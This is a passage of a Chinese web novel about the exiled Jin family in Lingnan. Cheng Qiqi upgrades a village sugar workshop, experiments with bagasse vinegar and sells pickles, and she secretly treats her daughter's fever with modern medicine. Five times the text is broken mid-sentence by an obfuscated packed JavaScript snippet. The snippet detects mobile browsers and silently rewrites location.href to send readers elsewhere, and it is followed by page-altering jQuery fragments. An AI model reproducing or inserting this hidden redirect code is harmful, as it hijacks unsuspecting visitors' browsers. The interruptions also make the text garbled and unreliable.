和对靳砚之截然不同的态度,林惠兰甚至好奇的看着靳雪儿道:“我家雪儿生的这么好看,肯定是要当正妻的。” “娘,你,不担心我嫁给泥腿子?” 靳雪儿心里乱糟糟的。 “只要是正妻,有钱,不嫌弃你是罪籍,为何不能嫁?” 林惠兰看着她道:“雪儿,我们不知道何时才能重返京都,你都已经及笄了,大好的年华,也不能拖住了。” “但,嫁泥腿子也不着急,如今家里的生意慢慢做起来了,我们得挑个最好的!” 林惠兰语重心长的说着:“一定要是正妻!” 当初她就是一个妾,这么多年,儿女都只是庶出,她的孩子,一定要当正妻。 “那肯定的,我才不做妾。” 靳雪儿认真的跟林惠兰说着。 靳砚之:“……” 她们母女两个是疯了,竟然真的想嫁人??? …… “七七,今日来批发酸菜的阿贵嫂,欺负你们了?” 忠勇侯晚饭后,才知道今天有人来批发酸菜的事情。 “也不算,我们在县里卖酸菜,肯定会损害别人的利益。” 程七七心知肚明的,道:“我跟阿贵嫂谈妥了,她去省城卖酸菜,不影响我们的。” “靳家虽然被流放了,但重山他们还是在的。”忠勇侯看着她说着,儿媳妇哪都好,就是出了事,自己扛,没想着用靳家人。 “爹,靠着世子曾经的恩情,总会有用光的一天,不过是让出省城卖酸菜的利润,以后我们就能平安的在县里卖酸菜,我觉得很划算。” 程七七的眼眸中,是笃定的光芒。 忠勇侯沉默了下来,儿媳妇比他想象中的,还要优秀。 夜。 “老爷,以前,是我们亏待七七了,墨儿眼光好,娶了这个好的媳妇回来,可惜……” 柳素仪睁着眼睛,看着漆黑的屋顶,声音也哽咽了几分。 忠勇侯正想安慰,柳素仪的声音再次响起:“老爷,以后,七七就是我的嫡亲女儿,日后,她若是想嫁人,我就给她准备一份丰厚的嫁妆,保证不让人……” 欺负七七。 “素仪。” 忠勇侯打断她的话,他一轱辘的坐了起来,朝着柳素仪的方向看了过去,哪怕什么都看不清,他道:“墨儿尸骨未寒,怎么也得守孝三年吧?” 三年之后,儿子怎么也能光明正大的复活了! “唉。” 柳素仪长长的叹了一口气:“就是苦了七七了。” 这般如花儿一样的年纪。 翌日,天际泛起了鱼肚白。 程七七起来的时候,靳礼之和靳砚之已经把粥熬好了,放锅里温着呢。 高胜兰和靳晴都已经开始切酸菜,包酸菜包了。 “我,今儿个起晚了?” 程七七打着哈欠,抬头看了一眼太阳都还没出来呢。 “嫂子,我们是睡不着了。” 高胜兰的肚子已经开始微微隆起了,她不能上工,能做酸菜挣一些钱,她已经很满足了。 因此,早早的就起来干活了。 靳晴更是,舂米磨面的日子,她是真不想做了,洗芥菜她喜欢! 三个人坐在一块包酸菜包,随着每日卖的多,这酸菜包她们都得包半个早上,靳礼之和靳砚之着粥和酸菜包推着板车去县里,正好能赶上那些码头扛货的人,休息吃早饭。 “七七,昨天靳砚之和靳雪儿吵架了。” 去糖坊的路上,温氏小声的说着,道:“兄妹两个吵的可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262344|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉害了!” “是吗?” 程七七好奇的问了一句。 “不知道,隔得远。” 温氏摇了摇头。 程七七也没有再追问,只道:“兄妹吵吵闹闹,正常。” 她若有所思的想:靳砚之变化挺大,整个人都掉到钱眼里去了,总不可能她们因为钱的事情吵别想? 想要新衣服了? 程七七脑子里胡思乱想着,想着空间里收的她们母女俩的衣服,一天一套,那一年都能不重样! 糖坊,已经建完了,今天,就要开工熬糖了! 榨汁从碾变压之后,出汁率变高了。 今天,就要试一试三锅连灶了。 程七七有了之前的经验,看着三锅连灶,那是一点都不慌,她跟师傅认真说着,如何利用三锅连灶。 忙碌了半天,第一锅糖,从出汁,到熬糖,最**模,哪怕糖还没凝结好,冷家人已经激动的不行了! 这样熬糖,只剩下糖的香味,没有半点的焦味。 而且,糖块看起来很均匀,看起来就品质很好的样子! 期待成品! 程七七问:“冷屿,你们的甘蔗渣,都丢了?” “留着烧。” 冷焦开口,他们兄弟三个人,冷岛是负责甘蔗汁的,冷屿负责熬糖,他则是负责后面的活。 “那,怎么就这样堆放在一起?” 程七七疑惑的问:“不晾干了烧?” “堆在那里,过些日子,就干了。” 冷焦回答着,甘蔗渣也是有用处的,按顺序堆放,拿最干的一堆来烧。 “那可以摊开来晾干,晾干个三四日的,烧起来,火更旺,比这样湿着堆一起,方便多了。” 程七七看着角落里专门囤放甘蔗渣的地方,道:“甘蔗渣烧火,有多吗?” “有啊,我们甘蔗渣和柴混合着一起烧,烧不完的,就丢蔗田里,来年长的甘蔗更好。” 冷焦一脸骄傲的回答道:“我们的甘蔗渣,可是一点都不浪费的。” “那,你们有没有想过,拿甘蔗渣来酿醋?” 程七七的话音方落,冷焦脸上的骄傲瞬间僵住了,不可思议的眼睛看着她,仿佛在说:“还能酿醋?” 第76章 回甘堂 “自然是能的。” 程七七记忆中,古法做红糖的时候,甘蔗不仅可以当柴火烧,还可以酿醋,当肥料,制香,甚至造纸都是可以的! 当然,前期糖坊,最主要的是保证每次的出糖品质是好的! “那,那我们怎么做?” 冷焦激动的说着。 甘蔗渣要是能酿醋,那岂不是都不用成本? 酿出来的醋,不说卖钱了,留着自己吃,也省了钱买醋啊! “你别着急,你把这些甘蔗渣挑一挑,好的都留下,次的就晒干当柴烧。” 程七七心中已经开始记忆着酿醋的方法,先酿酒,再酿醋。 “这个简单。” 冷焦立刻就吩咐人,将好的甘蔗渣,用干净的缸装好。 “加水,或者,甘蔗最后一遍汁。” 程七七动动嘴,冷焦他们直接就把事情干的妥妥贴贴的。 听到程七七要酿醋的时候,糖坊里的人,看着程七七的眼神都不对了! 这,糖是制的不错,但,甘蔗渣还能酿醋? 程七七可不管别人的眼神,她道:“不管成不成的,尝试过后,才知道。” 泡好甘蔗水,拿干净的纱布封上,免得沾上灰尘,她道:“明天再来看!” 程七七让人将大缸放在角落里,然后继续去监督熬第二锅的糖了。 九口锅,三个三连灶,每一锅,是头道汁,最上等的糖。 第二锅,则是二道汁,做的是中等糖。 第三锅,则是最后的尾汁,做出普通糖。 傍晚,三种糖全部都出模了,三种糖摆在一块,品质还是很明显的。 头道汁的上等糖,如琥珀冰砂,晶细如沙,吃起来,糖甜却没有半点异味。 二道汁的中等糖,颜色红亮,虽然不如上等糖那般好看,也比曾经糖坊的糖要好。 普通糖就像是糖坊最初的糖,不,比以前糖坊的糖,还要甜。 “我们以后每回烧出这么多的糖来,何愁卖不出去啊!” 冷屿激动的说:“奶,要是爷爷看到这一幕,肯定很高兴。” 爷爷盼了一辈子,到他们孙辈,他还算是有一点天赋和悟性,但,他还没将制糖的手艺学到手,爷爷就倒下了! 如今…… 冷屿看着程七七,比他还年轻呢,制糖的手艺,却比爷爷还厉害! “高兴,肯定高兴。” 冷婆子擦了擦眼角的泪,老头子倒下之后,孔家的逼迫,冷屿熬糖的不顺利,她的心里那叫一个担心啊。 现在好了,糖坊她们冷家利润虽然少了,但,全村参与进来,甚至是靳家人也参与进来了,眼前这些上等的好糖,或许……能让糖坊走到更高,更好的地方。 “大家不用激动,以后,这种糖,只会是我们最基本的。” 程七七微笑着说:“到时候形成标准化的熬糖,就不用担心失败了!” “好!” 不知道谁喊了一声,糖坊里,掌声如雷。 别说冷婆子了,就是庄里正看着这些糖,也是格外的激动,糖做的越好,卖的价格,也就越高。 “那,这三种糖,价格怎么算的?” 庄里正问。 “以前我们的糖卖二十四文钱一包。”冷婆子开口。 “那,这最好的糖,怎么也得卖个……三十五文?”庄里正自认为加了一个好价格。 “要不,三十八文?” 冷屿道:“八字好听。” “那中等糖就三十五文,普通糖三十文?” 庄里正也不懂,反正外面三十文一包的糖,可比他们最次的糖还要差。 “你们能不能大胆点?” 程七七在一旁试了试糖,听到他们的话,忍不住笑着提醒:“既然我们要做差异化,那差个几文钱,可不算。” “上等糖,四十八文钱一斤。” 程七七的话音方落,糖坊里所有人,都倒吸了一口气,大家看着程七七的目光都是震惊的,复杂的。 “这都能买三升米了,谁舍得花这个钱,买糖啊???” 糖坊一个男人咂舌的开口。 “如果是富裕人家,权贵人家呢?他们花钱如流水,不过是四十八文钱的糖,只要做的好,他们只会抢着买。” 程七七笃定的说着。 这会,庄里正等人才想起来,程七七的身份,那曾经是忠勇侯府的世子妃,在京都生活的! 她说行,那就行! < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262345|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “到时候,我们买好的油纸包装一下,不愁卖不出去。” 程七七早就想好了,三种糖,她就是要区分开,她道:“中等糖就卖个三十二文钱,相差十六文钱,低等糖,就卖个二十四文,品质提升了,价格不变,大家肯定会抢着买。” “程七七,我现在相信,你可能真的能卖出二百两,三百两银子了。” 冷婆子忽然开口。 之前程七七说的时候,冷婆子是半信半疑的,可是现在,冷婆子几乎已经看到,不久的将来,可能真的能卖出二三百两银子! 这些种在地里的甘蔗,真的能够变成下金蛋的鸡了! “我等会就去联系附近几个村子的甘蔗,务必让他们的甘蔗,只卖给我们!” 庄里正已经开始担心他们村子里的甘蔗不够了。 “庄里正,最好跟人签下契书,地里所有的甘蔗,我们糖坊都买了,明年的甘蔗,我们也要预计,口说无凭,必须白纸黑字的写下来。” 程七七提醒道:“万一别人看着我们的糖坊卖的好,不卖甘蔗给我们,或许哄抬价格怎么办?” 村子里的人,都加入了糖坊,成为糖坊的一份子,他们肯定只会更加用心的照顾甘蔗田的! 可别的村子里的人,可不会这么想。 “你说的对,我现在就去找人拟契书。” 庄里正刚要走,就顿住了:“我们光有个契书,没钱也是不够的。” “我可以先提供二十两,每家付个定钱,是够的。” 冷婆子既然决定要一起干,此时看到这三种糖,她自然是不会再吝啬。 “乡亲们,糖坊以后挣钱,我们都有份,我们也得出份力!” 庄里正说着,村里人也凑齐了二十两银子。 “行,我现在就去隔壁的村子。” 庄里正带着懂字的人,再带上几个人就去挨家挨户的买甘蔗,签契书了。 糖坊的三种糖还没开始卖,大家心里已经对未来充满了无限的期盼了,糖坊眼看着就要走上正轨了,糖坊的名字,也正式确认了下来。 回甘堂。 人生如蔗,经历挤压煎熬,终得圆满回甘。 正如流放的靳家人,现在就是在挤压煎熬,最后,肯定能得到圆满的好结果。 第77章 那是因为货不够啊! 回甘堂的名字定下之后,就开始卖红糖了! 有上等的红糖做敲门砖,重山几乎不费吹灰之力,就卖光了。 “这么的好的糖,傻子都能在县里卖出去,有本事,卖到府城,卖到别处去啊。” 糖坊里有人小声嘀咕着。 程七七道:“糖坊是大家的,大家有想法,很正常,我只是想说一句:我们靳家现在不能卖到别处去,那是因为我们产能不够!” “红糖在县里都不够卖?哪里还能卖到府城?卖到别的州府呢?” 程七七是个护短的,重山帮靳家干活,那就是靳家人。 重山是卖不动吗? 那是没货卖啊! “冷屿,你们要加油,村里的人,学习熬糖很快。” 程七七笑看着冷屿,最不平的就是冷家人了,糖坊本来是冷家一个人的,钱挣得多了,他们这些大师傅,自然也能多拿一些! 但现在,靳家人卖糖,这一部份利润,就由靳家拿到了! “程夫人放心,我们一定会很快学好。” 冷屿的面色有些不好意思,他是真没想到,程七七将三个流程,全部都分开了! 榨汁的部份,村民中挑选了几个年轻力壮的。 熬糖部份,靳三爷加入了,美其名曰,他学的更快! 不得不承认,靳三爷,确实学习的也很快,学习的也最刻苦,从什么都不懂,到现在,在所有熬糖的人中,学的最快最好的! 靳三爷的每一步都是严格按照程七七的说法做的,就连那些村子里挑选出来的后生,都是严格的按照程七七的步骤做的。 熬出来的糖,都是很不错的! 但冷屿和原先的糖坊老师傅,仗着有经验,有时候,做着做着,就按着自己的经验来了,最后,反而出的糖,品质不够! 程七七扫了一眼冷屿和几位大师傅的神色,她可没管这么多,她直接去看看灶边上放着的甘蔗醋了! 泡了一天的甘蔗水,她放了酒曲之后,就让人挪到了灶旁一墙一隔的位置,用纱布隔住,防虫防尘的! 先酿出酒来,再等着发酵,就可以变成醋了。 确认流程没错,程七七就继续到了糖坊最后一道工序,入模搅拌,这也是最后一步,让糖结晶细腻的关键了。 “程夫人,明天我们就准备给你们的房子修缮一下了,我们这边都喜欢用蚝壳建房子,不怕风吹日晒的,而且,冬暖夏凉。” “还不怕虫蛀,这次修缮的时候,你们要不要也用蚝壳来糊墙?” 庄里正下了工之后,就找到程七七说起建房的事情。 “这能找到这么多的蚝壳吗?” 程七七还是很喜欢蚝壳的,听说用处很大,第一点坚固保温,她就很喜欢了。 “海边上,捡就是了,只要你们同意就好。” 庄里正微笑着,显得格外的热情。 “我们回去商量一下。” 程七七回到家里,就和大家说起了明天村里人会帮他们修缮房子,问她们要不要蚝壳房子! “要,我听当地的村民说了,蚝壳房子好啊,住起来,那是一点都不冷的!” 靳老夫人开口,之前病殃殃的她,现在每日吃药,隔三岔五的吃肉粥、鸡蛋粥补身体,她的身体,明显好起来了。 “娘,看来,你跟村里的大娘们,都熟了?” 忠勇侯每天上工,知道自家老娘每天都会去附近走走,没想到,都已经这么熟了? “你当我每天闲的没事往外走?” 靳老夫人瞪了他一眼道:“我认识的人啊,可真不少呢,而且,我还看中了一片麻栎林子呢,阿义啊,你明天想法子帮我买下那些树木。” “啊?” 忠勇侯靳义还以为自己听错了呢。 “啊什么?” 靳老夫人道:“买不下林子,那就买木头,切成一人高一段,想法子运到我们屋后来。” “娘,你还真要做木耳香菇呢?” 忠勇侯瞧着亲娘恢复身体之后,没有再说种香菇木耳的事情,谁知道,亲娘现在连木头都看好了? “奶奶,您把木耳菌和香菇菌弄出来了?” 程七七惊喜的看着靳老夫人,老夫人平日里干的活不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262346|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,除了纳鞋子,就是在村里到处转悠。 “那当然。” 靳老夫人一脸得意:“你就等着吃香菇木耳吧!” “奶奶,那我就等着了。” 程七七和靳老夫人一少一老说着,让忠勇侯也只能去买麻栎木了。 最后,靳家人一致讨论要蚝壳房子,忠勇侯跟庄里正说起要麻栎木的时候,庄里正道:“靳兄弟,这麻栎木可不好,木头太硬了,烧火都不着,你们要是缺柴烧……” “我娘想要,没法子。” 忠勇侯没说香菇的事情,只说老娘要。 “得,房子建好,我带你们去找,这种木头,要多少有多少。” 庄里正现在跟靳义,那是一口一个兄弟大哥的喊着。 人多力量大,确认了要用蚝壳修外套之后,村里人就忙碌了起来,海边一担一担的蚝壳挑回来了。 “娘,我想要漂亮的蚝壳。” “娘你看,这个好大!” “娘。” 靳岁安戴着笠帽,挎着小篮子,小篮子里都是小姑娘精挑细选的蚝壳,比她的巴掌还大,几个就将小篮子装的沉甸甸的。 小姑娘努力提蚝壳的样子,憋的小脸红通通的,让程七七越看越欢喜,她上前,轻松的将蚝壳给提了起来。 “我们安安可真厉害,能捡到这么多漂亮的蚝壳!” 程七七夸赞着,在小姑娘脸上亲了一口,香香软软的女儿,真好! 回到家里,蚝壳的外墙,就已经切了一大半了,靳岁安看到两大一小的蚝壳,紧紧的挨在一起时:“娘,你看,这是爹,这是娘,这是我!” “我们一家人,不分开!” 靳岁安脆生生的说着,提起爹的时候,她仰头问:“娘,爹爹什么时候才会回来啊?” “……” 程七七听到女儿的童言童语,再看到那两大一小的蚝壳,瞬间就沉默了。 “安安,等你再长大一点,你爹爹就回来了。” 忠勇侯出声安慰着。 柳素仪看了一眼,这谎言以后总会被戳穿的! 第78章 可惜是寡妇 “真的吗?” 靳岁安听着这话,立刻跑到了爷爷的面前道:“爷爷,爹爹喜欢我的对吧?” “当然。” 忠勇侯肯定的点头,伸手替她扯了扯帽子,道:“你爹爹特别喜欢你。” “我也很喜欢爹爹!” 靳岁安笑的眉眼弯弯的。 程七七没说话,只是默默的移开了眼,能瞒一时,算一时吧! 当天,新鲜的蚝壳房子就已经做好了。 庄里正知道靳家人想要麻栎木的时候,第二天,趁着小年不上工了,就开始带领着大这有去运了十几根麻栎木到靳家后院了! “辛苦大家了,自家做的酸菜,还有刚做的糖醋萝卜,请大家尝尝。” 程七七拿着她自己做的酸菜,和刚做完的糖醋萝卜,按人头,每人都得到了一份! 酸菜粥在县里的热卖,村里人早已经听到风声了,这会谁都没嫌弃酸菜,一勺两文钱呢! 这每个人一小包的,足足的份量,起码有二三勺吧? 那就是六七文钱! 还有糖醋萝卜,也让他们好奇,这萝卜,糖醋一下,就能变得好吃了? 晚上,归化里村,家家户户都吃上了酸菜。 “难怪人家的酸菜能卖钱呢,这味道,鲜,脆,爽,咸淡合适,好吃!” 庄里正一家子,吃到酸菜泡粥时,大家更是眼神都亮了:“难道京都的人,更会吃?” 和自家的酸菜一对比的,自家做的酸菜,味道好像就差很多了! “你们还是想想,能不能学学?” 庄里正喜欢这酸菜的味,再尝一口糖醋萝卜,酸甜的萝卜,还带着一点萝卜…… “要不说靳家富贵人家呢,这酸菜萝卜吃的都比我们好吃。” 庄里正将目光放到了自家媳妇和儿媳妇的身上。 “你不用看了,县里的阿贵嫂,卖酸菜粥的,人家都来程七七那里批发酸菜,我们哪里学的会?” 庄里正媳妇直接开口道:“要我说啊,这肯定是独家手艺,你就别想了,还不如想想,糖坊怎么多挣钱吧!” “糖坊肯定能挣钱的。” 庄里正夸赞着,说起糖坊,那是有说不完的话。 角落里,认真扒拉着饭的庄海潮一脸惋惜,要说靳家谁最好,那肯定是程七七。 比起稚嫩的靳雪儿来说,程七七模样生的好,糖坊、酸菜哪样都能挣钱。 可惜,是个寡妇。 …… “娘,我们的新房子,好漂亮。” 靳岁安开心的摸着墙上的蚝壳,漂亮的眼睛都不知道该看哪里了。 “我们安安更漂亮。” 程七七看着漂亮的女儿,恨不得将最好的东西都送到女儿的面前。 不得不说,蚝壳房子,比她想象中的更好,取了生蚝肉,晒干的生蚝壳糊在墙上,半点腥味都没有。 房子更加不透风了,夜里睡着都更加的暖和。 女儿睡着了之后,程七七就拿出她的小本本开始记录了! 糖坊每一次制糖,榨汁的流程,几次能够榨的最干净,她都记得清清楚楚的! 还有三连锅熬糖,糖要熬成什么样,她不想要凭手感,而是明明白白的标准,也许这一套标准制起来难,但她相信,只要每天坚持记录,肯定能够形成一套标准的! 甘蔗醋虽然暂时还没成功,但她已经闻到了酒味了,年后,她这甘蔗醋,肯定能酿出来! 这零成本的醋,卖得了一文钱,那就是白得一文钱! 写写画画的,程七七合上本子,拿出手表看了一眼,这会都已经夜里十一点了。 她拉了拉肩膀上的披风,准备睡觉的时候,看到女儿红扑扑的小脸,她的心情是复杂的,明明小姑娘没见过爹爹两回,却时刻念叨着爹爹。 小年一过,不管是糖坊也好,管训场也罢,都开始歇息了。 流放到岭南的靳家人,也终于可以歇了一口气。 柳素仪四个人每天都在绣屏风,特别是柳素仪,除了绣屏风之外,还要绣双面绣的荷包,每天一坐就是半天。 程七七都担心柳素仪会不会把眼睛给绣坏了? “放心,娘心里有数。” 柳素仪看着儿媳妇担心的模样,打发她去跟靳老夫人种香菇去了! < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262347|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>靳老夫人自己弄的菌种,已经往麻栎树上打放菌了,要是顺利的话,明年秋天,就能吃上香菇和木耳了! 靳家人忙活了香菇木耳树整整一整天,累的腰都直不起来了。 “这样就能吃上香菇木耳了?” 靳晴小声的询问着。 “对。” 靳四爷点头,不管能不能成的,老夫人这么热情的想要做,那他们肯定得出力的。 酸菜的生意,并没有因为快过年就停了下来,反而是更加的忙碌了! 特别是新加的酸萝卜,大家都特别的喜欢。 靳家人不用去管训场之后,大家都在忙碌着这件事情。 靳礼之、靳砚之有经验,快过年了,把靳雪儿和靳晴都带上卖酸菜了! 靳家院子里,为了放酸菜,还特意搭了一间房子出来,就为了能让酸菜也安一个家。 忙忙碌碌的,一直到了年二十八,程七七拿着越来越多的钱,但凡是帮忙的,按人头分,一人一天二十文钱! “晴儿,你说,嫂子他们一天挣多少钱?就给我们分二十文钱,这是不是太少了?” 靳雪儿小声的嘀咕着。 “二十文还不多吗?我们就坐在那里包包酸菜。” 靳晴儿眨巴着眼睛,只觉得这比管训场分的活,舒服多了! “……” 靳雪儿气的直翻白眼,这靳晴儿是不是傻啊? 靳雪儿观察过了,每天都能卖一千来文钱呢,加了酸萝卜之后,可能一千三五百文都可能,可是她们呢? 就像是打发叫花子一样。 “嫂子,下次我还帮你包酸菜。” 靳晴儿一见着程七七,立刻高兴的奔了过去,开心的显摆着她一天挣下的二十文钱,同时,小声的告状:“嫂子,靳雪儿觉得你分钱太少了,你要小心哦~” “那你呢?” 程七七看着靳晴儿那一副提醒她要防备靳雪儿的模样,挑眉问。 “不少。” 靳晴儿连犹豫都没有:“我娘说,我们帮忙干点这个活,能拿钱就不好意思了,要不是嫂子,我们做一天,一文钱也挣不着。” 第79章 那必须早点走啊 “七七,这一百两银子,你拿着!” 忠勇侯拿着一百两银子递上前,几张银票,上面的面额,分别是五十两和二十两,还有十两的。 “爹,你这是……” 程七七最近卖酸菜,酸菜批发挣了不少钱,但,离这一百两,还差的远呢! “家里留下的一点钱,不多,但,糖坊如今正是用钱的时候,你先拿着。” 忠勇侯看着她道:“糖坊那边,我也按比例,出了二十两银子,剩下你那一成,就不用管了。” “庄里正和冷家人那边,我都已经找人谈妥了。” 忠勇侯说完,就看着一旁的柳素仪了,跟自家儿媳妇唠家常,那肯定是为难他这个大老粗了。 “七七,你爹的意思呢,就是你安心熬糖,其它的事情,不用操心。” “我们虽然是流放的犯人,但,你帮着我们争取到了糖坊挣钱的机会,我们心里都记着呢!” “七七,我们靳家有你这样的儿媳妇,是我们靳家的福气!” 柳素仪上前一步,握住程七七的手:“以后,家归你当!” “这一百两呢,就当作是我们公中的钱!” 柳素仪说话温温柔柔的,看着程七七的目光,就像是看亲闺女一样! “谢谢爹娘。” 程七七低头看了一眼手里的一百两银子,对忠勇侯府来说,一百两银子,那就跟打发叫花子一样! 可对于流放的靳家人来说,这一百两银子,沉甸甸。 程七七抬头,看到忠勇侯和柳素仪两个人信任的眼神,她觉得这一路上的辛苦付出,是被认可的! 她在忠勇侯的身上,体会到了父爱如山。 家里的水缸,柴垛子里的柴火,忠勇侯平时话少,总是默默的将家里的重活累活,全部都做完了! 她在柳素仪的身上,体会到了母爱如水。 她走路多,鞋子总是坏的特别的快,在糖坊里干活,衣服经常会弄脏,弄破,绣活手艺不好的她,每次都是柳素仪默默给她缝补好! “一家人,别这么见外。” 柳素仪听着这话,故作不高兴地看着她。 …… 大年二十八,靳家人卖完最后一天的酸菜,晚饭后,大家就开开心心的分钱了! 看着小小的两文钱,三文钱的生意不起眼,但薄利多销的,真正到最后分钱的时候,大家拿着沉甸甸的钱,也是喜悦的,开心的! “明天的酸菜就不用再卖了,钱也分完了,大家可以看看,要是有什么不满意的,可以现在说。” 程七七的视线落在靳家人一张张喜悦的脸上,最后,停留在靳雪儿的身上。 “满意,非常满意。” 挺着孕肚的高胜兰,拿着手里的铜钱,简直满意到不能再满意。 她每天就在家里洗芥菜,削萝卜,包酸菜包,就能挣着钱,高胜兰每天晚上躺在床上,感受着肚子里孩子的胎动,她的心情是期盼且喜悦的。 “对,我们满意着呢!” 靳晴儿立刻附和着点头道:“大家都羡慕着我有这么能干的嫂子呢。” 靳晴儿的小脸都透着骄傲,她在村里也认识了不少年纪差不多的人,糖坊挣钱,酸菜能挣钱的事情,大家都说,她嫂子很能干呢! “对。” 靳雪儿笑盈盈的,道:“嫂子,跟着你卖酸菜包,可比去舂米磨面可舒服多了。” “工钱不嫌弃少吧?” 程七七眼眸微闪,道:“包酸菜包的话,一天二十文,确实是不多。” “嫂子给多少,我都高兴的。” 靳雪儿想着林惠兰的话,又补充了一句:“我相信,嫂子肯定不会亏待我这个小姑子的。” “对。” 程七七点头道:“都是靳家人,我确实不会亏待,既然你觉得满意,那我也就放心了。” 程七七话锋一转,道:“明年正月之后,芥菜,还有素菜都是正当时的时候,明年,我们可能要腌制更多的酸菜。” “糖坊那边,可能也还会招人,你们可以考虑一下。” 程七七说完之后,也没管大家的反应,带着靳岁安就回房了! 前些天做蚝壳房子,靳岁安可能吹了海风,高兴着去捡蚝壳,有一点点的低烧! “七七,要不,我们去请个郎中?” 柳素仪端着熬好的糖粥进来,看着小脸红扑扑的靳岁安,都担心着她会不会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262348|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事? “娘,安安的烧不算高,晚上我拿帕子敷一敷,吃了一点车前草的水,睡一觉就好了。” 程七七端过糖粥道:“娘,你快回去歇着,我这里照顾着安安就行。” “那不行,我陪着你照顾着。” 柳素仪坐在一旁,心疼的看着靳岁安。 “奶奶,我睡一觉就好了。” 靳岁安脆生生的话语,抱着柳素仪反向安慰着,更让柳素仪心疼了:“安安真乖。” 柳素仪贴了贴她的额头,道:“晚上奶奶照顾你好不好,让你娘好好休息。” “不用的娘。” 程七七直接一口糖粥喂到了靳岁安的嘴里,让她不用回答。 “娘,你最近每天绣花,眼睛都熬累了,要好好休息。” 程七七连连开口,柳素仪跟着安安,那她可没法子用退热贴了! 特别是晚上,万一高烧,她该怎么用退烧药呢? “娘,要真有什么事情,我晚些时候再喊你们。” 程七七连连说着,一口一口的给女儿喂着糖粥道:“安安,我们不能让奶奶太辛苦的,是不是?” 一口粥喂到了靳岁安的嘴里。 “系。” 靳岁安连说话的声音都含含糊糊的,点头,眨眼,一口粥喝下去,第二口粥又来。 “娘,你就放心吧,真有事,我肯定会喊你们。” 程七七三下五除二就把靳岁安喂饱了,吃了糖粥的靳岁安,精神头都好了很多。 很快,靳岁安就开始玩着她那一床的娃娃,柳素仪她们闲着无事的时候,就会给她缝小老虎,小兔子…… “奶奶。” 靳岁安拿着小老虎,高兴的不得了,朝着柳素仪显摆着,道:“奶奶,我的大老虎来了!” 靳岁安脆生生的话,自己把自己给哄的乐呵呵的。 柳素仪看着靳岁安精神好,顿时就放心了,她一步三回头的离开,再叮嘱着:“七七,要真有事,记得喊我们,不用担心!” “好的娘。” 程七七看着柳素仪走了,立刻就松了一口气,确定她不会再回来了,这才偷偷的泡了一杯感冒药给靳岁安。 第80章 除夕快乐 “甜甜药!” 靳岁安看了一眼,咧嘴一笑,端着碗,咕嘟咕嘟一口就喝完了。 “真乖。” 程七七轻轻揉了揉她的脑袋,这才放心了。 吃了药的靳岁安,玩了一会,很快就呼呼大睡,程七七这才拿出体温表出来,给她了体温,三十七度八。 还算好。 程七七拿出退热贴贴在了靳岁安的额头上,冰冰凉凉的退热贴,舒服的小姑娘哼哼唧唧的,睡的更香了! 夜,渐深了,靳晴儿回到家里,就跟李氏说起靳雪儿不满二十文钱的事情。 “晴儿,这事,你跟七七说是对的,但,七七这么处理,也是对的。” 李氏看着女儿略显稚嫩的脸庞,语重心长的说道:“七七要是立刻找雪儿对质,你觉得,雪儿会觉得是谁告的密?” “雪儿为什么不找胜兰抱怨,找你抱怨?”那还不是想把怂恿自家女儿当出头鸟? 靳晴儿脸色一变。 李氏继续说:“七七现在这么处理,也算是对雪儿的敲打,现在不处理,那是攒着以后,一块处理呢。” 程七七可不是吃亏的性子。 靳晴儿似懂非懂。 